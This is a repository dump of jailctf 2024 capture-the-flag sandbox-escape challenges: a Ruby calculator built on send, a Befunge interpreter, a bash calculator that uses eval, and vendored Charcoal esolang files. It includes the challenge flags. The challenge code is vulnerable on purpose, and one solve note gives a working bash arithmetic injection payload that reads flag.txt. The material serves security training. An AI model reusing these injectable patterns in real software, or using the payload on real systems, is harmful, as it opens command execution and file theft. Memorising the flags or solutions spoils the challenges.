| cmd = gets.chomp.split 50 | 51 | if cmd.size != 3 52 | puts "Usage: num (+|-|*|/|%) num" 53 | next 54 | end 55 | 56 | left, op, right = cmd 57 | puts Calc.send(op.to_sym, left, right) 58 | end 59 | -------------------------------------------------------------------------------- /SUS-Calculator/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /SUS-Calculator/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ruby:latest AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 chal.rb /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=10M JAIL_ENV_NUM=5 JAIL_TIME=50 JAIL_CONNS_PER_IP=2 8 | -------------------------------------------------------------------------------- /SUS-Calculator/remote/chal.rb: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/ruby 2 | class Calc 3 | def self.+ left, right 4 | left = left.to_i if left.is_a? String 5 | right = right.to_i if right.is_a? String 6 | 7 | return left + right 8 | end 9 | 10 | def self.- left, right 11 | left = left.to_i if left.is_a? String 12 | right = right.to_i if right.is_a? String 13 | 14 | return left - right 15 | end 16 | 17 | def self.* left, right 18 | left = left.to_i if left.is_a? String 19 | right = right.to_i if right.is_a? String 20 | 21 | return left * right 22 | end 23 | 24 | def self./ left, right 25 | left = left.to_i if left.is_a? String 26 | right = right.to_i if right.is_a? String 27 | 28 | return left / right 29 | end 30 | 31 | def self.% left, right 32 | left = left.to_i if left.is_a? String 33 | right = right.to_i if right.is_a? String 34 | 35 | return left % right 36 | end 37 | end 38 | 39 | STDOUT.sync = true 40 | puts <<~HEADER 41 | SUS Calculator (Super Ultra Safe Calculator) 42 | I heard using eval for these calculator apps is bad, so I made sure to avoid it 43 | Good luck doing anything malicious here >:) 44 | 45 | HEADER 46 | 47 | loop do 48 | print "> " 49 | cmd = gets.chomp.split 50 | 51 | if cmd.size != 3 52 | puts "Usage: num (+|-|*|/|%) num" 53 | next 54 | end 55 | 56 | left, op, right = cmd 57 | puts Calc.send(op.to_sym, left, right) 58 | end 59 | -------------------------------------------------------------------------------- /SUS-Calculator/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{me_when_i_uhhh_escape} 2 | -------------------------------------------------------------------------------- /SUS-Calculator/solve/README.md: -------------------------------------------------------------------------------- 1 | # SUS Calculator 2 | 3 | todo put solve idea here 4 | 5 | -------------------------------------------------------------------------------- /befunge-breakout/README.md: -------------------------------------------------------------------------------- 1 | # befunge breakout 2 | 3 | category: esolang/befunge/pwn 4 | 5 | ## description 6 | 7 | look at this calculator program some guy made in befunge 8 | 9 | -------------------------------------------------------------------------------- /befunge-breakout/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu@sha256:25895062172a2f39ae36da530f3db244b507d7ffb1c4dd42a3a487b5b446e996 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=444 LICENSE /srv/app/LICENSE 6 | COPY --chmod=444 README.md /srv/app/README.md 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | COPY --chmod=755 src/ /srv/app/src/ 9 | COPY --chmod=755 run.sh /srv/app/run 10 | RUN mv /srv/app/flag.txt /srv/flag-$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32).txt 11 | ENV JAIL_MEM=10M JAIL_PIDS=6 JAIL_ENV_NUM=5 JAIL_TIME=60 JAIL_CONNS_PER_IP=2 12 | -------------------------------------------------------------------------------- /befunge-breakout/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /befunge-breakout/handout/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | /app/src/cbi /app/src/test/calc.bf 3 | -------------------------------------------------------------------------------- /befunge-breakout/handout/src/build.sh: -------------------------------------------------------------------------------- 1 | gcc -Wall -Wextra -std=c99 -c -fno-pie cbi.c 2 | gcc -Wall -Wextra -std=c99 -c -fno-pie delta.c 3 | gcc -Wall -Wextra -std=c99 -c -fno-pie stack.c 4 | gcc -Wall -Wextra -std=c99 -no-pie cbi.o delta.o stack.o -o cbi 5 | -------------------------------------------------------------------------------- /befunge-breakout/handout/src/cbi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/befunge-breakout/handout/src/cbi -------------------------------------------------------------------------------- /befunge-breakout/handout/src/cbi.h: -------------------------------------------------------------------------------- 1 | #ifndef CBI_H_20161011_193425 2 | #define CBI_H_20161011_193425 3 | 4 | #include "delta.h" 5 | 6 | #define MAKE_PRINT(X) (X) = (((X) < 0x20 || (X) > 0x7E) ? 0x20 : (X)) 7 | #define NUM(X) (((X) <= 0x39) ? (X) - 0x30 : 10 + (X) - 0x61) 8 | #define ABS(X) (((X) < 0) ? (-(X)) : (X)) 9 | 10 | typedef enum ascii_mode_e { 11 | OFF, SINGLE, MULTI 12 | } ascii_mode_t; 13 | 14 | typedef struct instruction_space_t { 15 | int num_rows; 16 | int num_cols; 17 | char **space; 18 | } instruction_space; 19 | 20 | void (*direction[4]) (delta_t*) = {up, down, left, right}; 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /befunge-breakout/handout/src/cbi.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/befunge-breakout/handout/src/cbi.o -------------------------------------------------------------------------------- /befunge-breakout/handout/src/delta.c: -------------------------------------------------------------------------------- 1 | // Befunge IP delta 2 | // Author: xxc3nsoredxx 3 | 4 | #include "delta.h" 5 | 6 | void up (delta_t *delta) { 7 | delta->delta_x = 0; 8 | delta->delta_y = -1; 9 | } 10 | 11 | void down (delta_t *delta) { 12 | delta->delta_x = 0; 13 | delta->delta_y = 1; 14 | } 15 | 16 | void left (delta_t *delta) { 17 | delta->delta_x = -1; 18 | delta->delta_y = 0; 19 | } 20 | 21 | void right (delta_t *delta) { 22 | delta->delta_x = 1; 23 | delta->delta_y = 0; 24 | } 25 | 26 | void rel_left (delta_t *delta) { 27 | delta->delta_x ^= delta->delta_y; 28 | delta->delta_y ^= delta->delta_x; 29 | delta->delta_x ^= delta->delta_y; 30 | delta->delta_y = -(delta->delta_y); 31 | } 32 | 33 | void rel_right (delta_t *delta) { 34 | delta->delta_x ^= delta->delta_y; 35 | delta->delta_y ^= delta->delta_x; 36 | delta->delta_x ^= delta->delta_y; 37 | delta->delta_x = -(delta->delta_x); 38 | } 39 | 40 | void reflect (delta_t *delta) { 41 | delta->delta_x = -(delta->delta_x); 42 | delta->delta_y = -(delta->delta_y); 43 | } 44 | -------------------------------------------------------------------------------- /befunge-breakout/handout/src/delta.h: -------------------------------------------------------------------------------- 1 | #ifndef DELTA_H_20160923_142135 2 | #define DELTA_H_20160923_142135 3 | 4 | typedef struct delta_s { 5 | int delta_x; 6 | int delta_y; 7 | } delta_t; 8 | 9 | void up (delta_t*); 10 | void down (delta_t*); 11 | void left (delta_t*); 12 | void right (delta_t*); 13 | void rel_left (delta_t*); 14 | void rel_right (delta_t*); 15 | void reflect (delta_t*); 16 | 17 | #endif 18 | -------------------------------------------------------------------------------- /befunge-breakout/handout/src/delta.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/befunge-breakout/handout/src/delta.o -------------------------------------------------------------------------------- /befunge-breakout/handout/src/stack.c: -------------------------------------------------------------------------------- 1 | // Stack Implementation 2 | // Author: xxc3nsoredxx 3 | 4 | #include 5 | #include 6 | #include "stack.h" 7 | 8 | // Initialize a stack 9 | stack_t* init () { 10 | stack_t *ret = (stack_t*) malloc (sizeof (stack_t)); 11 | 12 | ret->top = 0; 13 | ret->bottom = 0; 14 | 15 | return ret; 16 | } 17 | 18 | // Push value onto stack 19 | bool push (stack_t *s, int value) { 20 | stack_entry_t *temp = (stack_entry_t*) malloc (sizeof (stack_entry_t)); 21 | 22 | if (s->top == 0) { 23 | temp->value = value; 24 | temp->next = 0; 25 | s->top = temp; 26 | s->bottom = temp; 27 | 28 | return true; 29 | } 30 | 31 | temp->value = value; 32 | temp->next = s->top; 33 | s->top = temp; 34 | 35 | return true; 36 | } 37 | 38 | // Pop value from stack 39 | // Returns 0 if popping an empty stack 40 | int pop (stack_t *s) { 41 | int ret = s->top->value; 42 | 43 | // If the current top of the stack is the only member, reset values 44 | // Else set the top of the stack to the next one and free the old top 45 | if (s->top == s->bottom && s->top != 0) { 46 | s->top->value = 0; 47 | s->top->next = 0; 48 | } else if (s->top != 0) { 49 | stack_entry_t *del = s->top; 50 | s->top = s->top->next; 51 | free(del); 52 | } 53 | 54 | return ret; 55 | } 56 | 57 | // Flush the stack 58 | bool clear (stack_t *s) { 59 | while (s->top->next != 0) { 60 | pop (s); 61 | } 62 | 63 | return true; 64 | } 65 | -------------------------------------------------------------------------------- /befunge-breakout/handout/src/stack.h: -------------------------------------------------------------------------------- 1 | #ifndef STACK_H_20160919_205120 2 | #define STACK_H_20160919_205120 3 | 4 | typedef enum bool_e { 5 | true, false 6 | } bool; 7 | 8 | typedef struct stack_entry_s { 9 | int value; 10 | struct stack_entry_s *next; 11 | } stack_entry_t; 12 | 13 | typedef struct stack_s { 14 | stack_entry_t *top; 15 | stack_entry_t *bottom; 16 | } stack_t; 17 | 18 | stack_t* init (); 19 | bool push (stack_t*, int); 20 | int pop (stack_t*); 21 | bool clear (stack_t*); 22 | 23 | #endif 24 | -------------------------------------------------------------------------------- /befunge-breakout/handout/src/stack.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/befunge-breakout/handout/src/stack.o -------------------------------------------------------------------------------- /befunge-breakout/handout/src/test/calc.bf: -------------------------------------------------------------------------------- 1 | v A simple integer calculator 2 | Acts as a REPL for Befunge's math operators 3 | Only works with simple calculations 4 | Such as 1+1 and 15*2 5 | 6 | < v ,k*29"Enter qqq to quit."a 7 | < v,k-1*3b"Enter a calculation such as 1+1: " < 8 | v \&~&< 9 | > :88pv> .a, ^ 10 | ^ < 11 | >'q-| 12 | @ 13 | -------------------------------------------------------------------------------- /befunge-breakout/handout/src/test/hw.bf: -------------------------------------------------------------------------------- 1 | dk,@ 3 | -------------------------------------------------------------------------------- /befunge-breakout/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu@sha256:25895062172a2f39ae36da530f3db244b507d7ffb1c4dd42a3a487b5b446e996 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=444 LICENSE /srv/app/LICENSE 6 | COPY --chmod=444 README.md /srv/app/README.md 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | COPY --chmod=755 src/ /srv/app/src/ 9 | COPY --chmod=755 run.sh /srv/app/run 10 | RUN mv /srv/app/flag.txt /srv/flag-$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32).txt 11 | ENV JAIL_MEM=10M JAIL_PIDS=6 JAIL_ENV_NUM=5 JAIL_TIME=60 JAIL_CONNS_PER_IP=2 12 | -------------------------------------------------------------------------------- /befunge-breakout/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{insecure_in_both_the_prog_and_the_interpreter_8a548be1} 2 | -------------------------------------------------------------------------------- /befunge-breakout/remote/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | /app/src/cbi /app/src/test/calc.bf 3 | -------------------------------------------------------------------------------- /befunge-breakout/remote/src/build.sh: -------------------------------------------------------------------------------- 1 | gcc -Wall -Wextra -std=c99 -c -fno-pie cbi.c 2 | gcc -Wall -Wextra -std=c99 -c -fno-pie delta.c 3 | gcc -Wall -Wextra -std=c99 -c -fno-pie stack.c 4 | gcc -Wall -Wextra -std=c99 -no-pie cbi.o delta.o stack.o -o cbi 5 | -------------------------------------------------------------------------------- /befunge-breakout/remote/src/cbi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/befunge-breakout/remote/src/cbi -------------------------------------------------------------------------------- /befunge-breakout/remote/src/cbi.h: -------------------------------------------------------------------------------- 1 | #ifndef CBI_H_20161011_193425 2 | #define CBI_H_20161011_193425 3 | 4 | #include "delta.h" 5 | 6 | #define MAKE_PRINT(X) (X) = (((X) < 0x20 || (X) > 0x7E) ? 0x20 : (X)) 7 | #define NUM(X) (((X) <= 0x39) ? (X) - 0x30 : 10 + (X) - 0x61) 8 | #define ABS(X) (((X) < 0) ? (-(X)) : (X)) 9 | 10 | typedef enum ascii_mode_e { 11 | OFF, SINGLE, MULTI 12 | } ascii_mode_t; 13 | 14 | typedef struct instruction_space_t { 15 | int num_rows; 16 | int num_cols; 17 | char **space; 18 | } instruction_space; 19 | 20 | void (*direction[4]) (delta_t*) = {up, down, left, right}; 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /befunge-breakout/remote/src/cbi.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/befunge-breakout/remote/src/cbi.o -------------------------------------------------------------------------------- /befunge-breakout/remote/src/delta.c: -------------------------------------------------------------------------------- 1 | // Befunge IP delta 2 | // Author: xxc3nsoredxx 3 | 4 | #include "delta.h" 5 | 6 | void up (delta_t *delta) { 7 | delta->delta_x = 0; 8 | delta->delta_y = -1; 9 | } 10 | 11 | void down (delta_t *delta) { 12 | delta->delta_x = 0; 13 | delta->delta_y = 1; 14 | } 15 | 16 | void left (delta_t *delta) { 17 | delta->delta_x = -1; 18 | delta->delta_y = 0; 19 | } 20 | 21 | void right (delta_t *delta) { 22 | delta->delta_x = 1; 23 | delta->delta_y = 0; 24 | } 25 | 26 | void rel_left (delta_t *delta) { 27 | delta->delta_x ^= delta->delta_y; 28 | delta->delta_y ^= delta->delta_x; 29 | delta->delta_x ^= delta->delta_y; 30 | delta->delta_y = -(delta->delta_y); 31 | } 32 | 33 | void rel_right (delta_t *delta) { 34 | delta->delta_x ^= delta->delta_y; 35 | delta->delta_y ^= delta->delta_x; 36 | delta->delta_x ^= delta->delta_y; 37 | delta->delta_x = -(delta->delta_x); 38 | } 39 | 40 | void reflect (delta_t *delta) { 41 | delta->delta_x = -(delta->delta_x); 42 | delta->delta_y = -(delta->delta_y); 43 | } 44 | -------------------------------------------------------------------------------- /befunge-breakout/remote/src/delta.h: -------------------------------------------------------------------------------- 1 | #ifndef DELTA_H_20160923_142135 2 | #define DELTA_H_20160923_142135 3 | 4 | typedef struct delta_s { 5 | int delta_x; 6 | int delta_y; 7 | } delta_t; 8 | 9 | void up (delta_t*); 10 | void down (delta_t*); 11 | void left (delta_t*); 12 | void right (delta_t*); 13 | void rel_left (delta_t*); 14 | void rel_right (delta_t*); 15 | void reflect (delta_t*); 16 | 17 | #endif 18 | -------------------------------------------------------------------------------- /befunge-breakout/remote/src/delta.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/befunge-breakout/remote/src/delta.o -------------------------------------------------------------------------------- /befunge-breakout/remote/src/stack.c: -------------------------------------------------------------------------------- 1 | // Stack Implementation 2 | // Author: xxc3nsoredxx 3 | 4 | #include 5 | #include 6 | #include "stack.h" 7 | 8 | // Initialize a stack 9 | stack_t* init () { 10 | stack_t *ret = (stack_t*) malloc (sizeof (stack_t)); 11 | 12 | ret->top = 0; 13 | ret->bottom = 0; 14 | 15 | return ret; 16 | } 17 | 18 | // Push value onto stack 19 | bool push (stack_t *s, int value) { 20 | stack_entry_t *temp = (stack_entry_t*) malloc (sizeof (stack_entry_t)); 21 | 22 | if (s->top == 0) { 23 | temp->value = value; 24 | temp->next = 0; 25 | s->top = temp; 26 | s->bottom = temp; 27 | 28 | return true; 29 | } 30 | 31 | temp->value = value; 32 | temp->next = s->top; 33 | s->top = temp; 34 | 35 | return true; 36 | } 37 | 38 | // Pop value from stack 39 | // Returns 0 if popping an empty stack 40 | int pop (stack_t *s) { 41 | int ret = s->top->value; 42 | 43 | // If the current top of the stack is the only member, reset values 44 | // Else set the top of the stack to the next one and free the old top 45 | if (s->top == s->bottom && s->top != 0) { 46 | s->top->value = 0; 47 | s->top->next = 0; 48 | } else if (s->top != 0) { 49 | stack_entry_t *del = s->top; 50 | s->top = s->top->next; 51 | free(del); 52 | } 53 | 54 | return ret; 55 | } 56 | 57 | // Flush the stack 58 | bool clear (stack_t *s) { 59 | while (s->top->next != 0) { 60 | pop (s); 61 | } 62 | 63 | return true; 64 | } 65 | -------------------------------------------------------------------------------- /befunge-breakout/remote/src/stack.h: -------------------------------------------------------------------------------- 1 | #ifndef STACK_H_20160919_205120 2 | #define STACK_H_20160919_205120 3 | 4 | typedef enum bool_e { 5 | true, false 6 | } bool; 7 | 8 | typedef struct stack_entry_s { 9 | int value; 10 | struct stack_entry_s *next; 11 | } stack_entry_t; 12 | 13 | typedef struct stack_s { 14 | stack_entry_t *top; 15 | stack_entry_t *bottom; 16 | } stack_t; 17 | 18 | stack_t* init (); 19 | bool push (stack_t*, int); 20 | int pop (stack_t*); 21 | bool clear (stack_t*); 22 | 23 | #endif 24 | -------------------------------------------------------------------------------- /befunge-breakout/remote/src/stack.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/befunge-breakout/remote/src/stack.o -------------------------------------------------------------------------------- /befunge-breakout/remote/src/test/calc.bf: -------------------------------------------------------------------------------- 1 | v A simple integer calculator 2 | Acts as a REPL for Befunge's math operators 3 | Only works with simple calculations 4 | Such as 1+1 and 15*2 5 | 6 | < v ,k*29"Enter qqq to quit."a 7 | < v,k-1*3b"Enter a calculation such as 1+1: " < 8 | v \&~&< 9 | > :88pv> .a, ^ 10 | ^ < 11 | >'q-| 12 | @ 13 | -------------------------------------------------------------------------------- /befunge-breakout/remote/src/test/hw.bf: -------------------------------------------------------------------------------- 1 | dk,@ 3 | -------------------------------------------------------------------------------- /befunge-breakout/solve/README.md: -------------------------------------------------------------------------------- 1 | # befunge breakout 2 | 3 | todo solve idea here 4 | 5 | -------------------------------------------------------------------------------- /befunge-breakout/solve/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/befunge-breakout/solve/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /befunge-breakout/solve/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/befunge-breakout/solve/libc.so.6 -------------------------------------------------------------------------------- /blind-calc/README.md: -------------------------------------------------------------------------------- 1 | # blind-calc 2 | 3 | category: mainstream/bash/introductory 4 | 5 | ## description 6 | 7 | calculator using arithmetic expansion in bash 8 | 9 | -------------------------------------------------------------------------------- /blind-calc/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 run.sh /srv/app/run 6 | COPY --chmod=755 blind.sh /srv/app/blind.sh 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | ENV JAIL_TIME=90 JAIL_CONNS_PER_IP=2 9 | -------------------------------------------------------------------------------- /blind-calc/remote/blind.sh: -------------------------------------------------------------------------------- 1 | echo -n "Enter math > " 2 | read -p "" math 3 | eval res=$(("$math")) 4 | echo $res 5 | -------------------------------------------------------------------------------- /blind-calc/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{blind-calc_9c701e8c09f6cc0edd6} 2 | -------------------------------------------------------------------------------- /blind-calc/remote/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | while true; do 4 | ./blind.sh 5 | done; 6 | -------------------------------------------------------------------------------- /blind-calc/solve/README.md: -------------------------------------------------------------------------------- 1 | # blind-calc 2 | 3 | https://research.nccgroup.com/2020/05/12/shell-arithmetic-expansion-and-evaluation-abuse/ 4 | 5 | ``` 6 | arr[$(cat flag.txt)] 7 | ``` 8 | 9 | -------------------------------------------------------------------------------- /charredcoal/README.md: -------------------------------------------------------------------------------- 1 | # charredcoal 2 | 3 | category: pyjail/esolang/charcoal 4 | 5 | ## description 6 | 7 | dw this [char coal](https://esolangs.org/wiki/Charcoal) is 100% utf8 free mhm 8 | 9 | -------------------------------------------------------------------------------- /charredcoal/handout/Charcoal/.gitignore: -------------------------------------------------------------------------------- 1 | .c9/ 2 | __pycache__/ 3 | .~c9* 4 | out* 5 | *.swp 6 | *.cl 7 | *.clv 8 | *.clg 9 | test.in 10 | -------------------------------------------------------------------------------- /charredcoal/handout/Charcoal/.travis.yml: -------------------------------------------------------------------------------- 1 | language: python 2 | python: 3 | - "3.4" 4 | - "3.5" 5 | - "3.6" # current default Python on Travis CI 6 | - "3.7" 7 | - "3.8" 8 | - "3.8-dev" # 3.8 development branch 9 | - "nightly" # nightly build 10 | # command to install dependencies 11 | install: 12 | - pip install -r requirements.txt 13 | # command to run tests 14 | script: 15 | - python test.py 16 | -------------------------------------------------------------------------------- /charredcoal/handout/Charcoal/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2016 E-Hern Lee and David Loscutoff 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 8 | 9 | -------------------------------------------------------------------------------- /charredcoal/handout/Charcoal/README.md: -------------------------------------------------------------------------------- 1 | # Charcoal 2 | 3 | Want to be able to write basic Charcoal quickly? Then read on. If you came here looking for help, scroll to the bottom for the FAQ. 4 | 5 | ## Example REPL session 6 | 7 | To use the REPL, simply invoke with `./charcoal.py`, `python charcoal.py` or `python3 charcoal.py`. 8 | 9 | Charcoal> Hello, World! 10 | Hello, World! 11 | Charcoal> ^C 12 | Cleared canvas 13 | 14 | ## Literals 15 | There are two basic types of literals: strings and numbers. A string is just a run of printable ASCII, and a number is just a run of the superscript digits `⁰¹²³⁴⁵⁶⁷⁸⁹`. 16 | 17 | Examples: 18 | `foo` is equivalent to `"foo"`. 19 | `foo¶bar` is the same as `"foo\nbar"`. 20 | `¹²³⁴` is `1234`. 21 | 22 | ## Printing 23 | In a Charcoal program, expressions are implicitly printed. Numbers print a line, and arrows can be used to specify a direction. 24 | 25 | Examples: 26 | `foo` prints `foo` 27 | `foo⁴` prints `foo----` 28 | `foo↖⁴` prints: 29 | ``` 30 | \ 31 | \ 32 | \ 33 | foo\ 34 | ``` 35 | 36 | ## FAQ 37 | - When I run Charcoal it throws some errors about UTF-8 characters and exits. 38 | - Maybe you don't have Python 3 installed. Try installing Python 3 from [here](https://www.python.org/downloads/). 39 | - When I run Charcoal it throws some errors and exits. 40 | - If the message comes with a stack trace, it looks like you have found a bug. File a bug report [here](https://github.com/somebody1234/Charcoal/issues), and we'll come back to you as soon as we can. 41 | 42 | 43 | -------------------------------------------------------------------------------- /charredcoal/handout/Charcoal/TODO.md: -------------------------------------------------------------------------------- 1 | # To Do 2 | - [ ] Make empty lines [] not [""] 3 | - [ ] Better detection of empty spaces 4 | - [ ] Decide whether to add roll (shift string right (and maybe left))?, 5 | translate and more complex number things e.g. factor 6 | - [ ] Add other operators to tutor? Introduce preinitialized variables? 7 | - [ ] Use one charcoal instance for new charcoal (lambdafy) maybe? 8 | - [ ] zip 9 | - [ ] Make ASTProcessor lines <80 chars 10 | - [ ] Make lambdas not print result if they also return it -------------------------------------------------------------------------------- /charredcoal/handout/Charcoal/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/charredcoal/handout/Charcoal/__init__.py -------------------------------------------------------------------------------- /charredcoal/handout/Charcoal/appveyor.yml: -------------------------------------------------------------------------------- 1 | environment: 2 | 3 | matrix: 4 | 5 | # For Python versions available on Appveyor, see 6 | # http://www.appveyor.com/docs/installed-software#python 7 | # The list here is complete (excluding Python 2.6, which 8 | # isn't covered by this document) at the time of writing. 9 | - PYTHON: "C:\\Python34" 10 | - PYTHON: "C:\\Python35" 11 | - PYTHON: "C:\\Python36" 12 | - PYTHON: "C:\\Python37" 13 | - PYTHON: "C:\\Python38" 14 | - PYTHON: "C:\\Python35-x64" 15 | - PYTHON: "C:\\Python36-x64" 16 | - PYTHON: "C:\\Python37-x64" 17 | - PYTHON: "C:\\Python38-x64" 18 | 19 | install: 20 | # We need wheel installed to build wheels 21 | - "%PYTHON%\\python.exe -m pip install brotli regex" 22 | 23 | build: off 24 | 25 | test_script: 26 | - "%PYTHON%\\python.exe test.py" 27 | -------------------------------------------------------------------------------- /charredcoal/handout/Charcoal/charcoaltoken.py: -------------------------------------------------------------------------------- 1 | CharcoalTokenNames = [ 2 | "Arrow", 3 | "Multidirectional", 4 | "Side", 5 | "S", 6 | "String", 7 | "Number", 8 | "Name", 9 | "Span", 10 | 11 | "Arrows", 12 | "Sides", 13 | "WolframExpressions", 14 | "Expressions", 15 | "Fixes", 16 | "PairExpressions", 17 | "Cases", 18 | 19 | "WolframExpression", 20 | "Expression", 21 | "ExpressionOrEOF", 22 | "Nilary", 23 | "Unary", 24 | "Binary", 25 | "Ternary", 26 | "Quarternary", 27 | "LazyUnary", 28 | "LazyBinary", 29 | "LazyTernary", 30 | "LazyQuarternary", 31 | "Infix", 32 | "Prefix", 33 | "Fix", 34 | "FixOrEOF", 35 | "OtherOperator", 36 | 37 | "WolframList", 38 | "List", 39 | "Dictionary", 40 | 41 | "Program", 42 | "NonEmptyProgram", 43 | "Body", 44 | "Command", 45 | 46 | "LP", 47 | "RP", 48 | 49 | "EOF", 50 | 51 | "MAX", 52 | ] 53 | 54 | 55 | class CharcoalToken: 56 | pass 57 | 58 | for i in range(len(CharcoalTokenNames)): 59 | setattr(CharcoalToken, CharcoalTokenNames[i], i) -------------------------------------------------------------------------------- /charredcoal/handout/Charcoal/direction.py: -------------------------------------------------------------------------------- 1 | from enum import Enum 2 | 3 | 4 | class Direction(Enum): 5 | left = 1 6 | up = 2 7 | right = 3 8 | down = 4 9 | up_left = 5 10 | up_right = 6 11 | down_left = 7 12 | down_right = 8 13 | 14 | DirectionToString = { 15 | Direction.left: "←", 16 | Direction.up: "↑", 17 | Direction.right: "→", 18 | Direction.down: "↓", 19 | Direction.up_left: "↖", 20 | Direction.up_right: "↗", 21 | Direction.down_left: "↙", 22 | Direction.down_right: "↘" 23 | } 24 | 25 | 26 | class Pivot(Enum): 27 | left = 1 28 | right = 2 29 | -------------------------------------------------------------------------------- /charredcoal/handout/Charcoal/extras.py: -------------------------------------------------------------------------------- 1 | go = goat = """\ 2 | ___. 3 | // \\\\ 4 | (( '' 5 | \\\\__, 6 | /6 (%)\\, 7 | (__/:";,;\\--____----_ 8 | ;; :';,:';`;,';,;';`,`_ 9 | ;:,;;';';,;':,';';,-Y\\ 10 | ;,;,;';';,;':;';'; Z/ 11 | / ;,';';,;';,;';;' 12 | / / |';/~~~~~\\';;' 13 | ( K | | || | 14 | \\_\\ | | || | 15 | \\Z | | || | 16 | L_| LL_| 17 | LW/ LLW/""" # evil sheep suck 18 | 19 | sh = sheep = "sheep suck" 20 | 21 | de = dennis = """\ 22 | _,-'''--,.__ _ 23 | _.*'' __''>#=--""\" 24 | _ ./" _.-'' '\\._ 25 | / "'--.____ _.-' __.-'' '\\. 26 | / "Y __/" /// "\\. 27 | | /" _/" /// --.________ * "\\ 28 | | // /""|---______"\\ 29 | | . ""'--.__ H _./ 30 | | /""-. \\\\\\._ '''''--------- H __.--' 31 | \\ / / \\ ''--__________________--H-'' 32 | | | | ) __.__ \\ 33 | H | | _.""-.__| ## /' )# \\ 34 | H | _|"" | "" |_._.''- \\.-""\\ 35 | | |/ |"-._ _.-"| . . . . \\ | 36 | |_.-""\"-._/ . * * | / 37 | ./ " _. . . / / 38 | ( "-.__ __.-"' /.-' 39 | | |#####/ / 40 | \\ \\ / /" 41 | '-._______._ .-"' 42 | '-.____ _.--"' _.-- 43 | _____ |'''''''' | .----_ .-"\ 44 | / \\ |_________|___| \\ \\"" \ 45 | | . \\"" | | "' 46 | .- | | | | 47 | .-"' | | | | """ # noqa 48 | -------------------------------------------------------------------------------- /charredcoal/handout/Charcoal/highlighters/Charcoal.sublime-syntax: -------------------------------------------------------------------------------- 1 | %YAML 1.2 2 | --- 3 | file_extensions: 4 | - cl 5 | scope: source 6 | contexts: 7 | main: 8 | - match: (¿|F|W|HF|HW) 9 | scope: keyword 10 | 11 | - match: 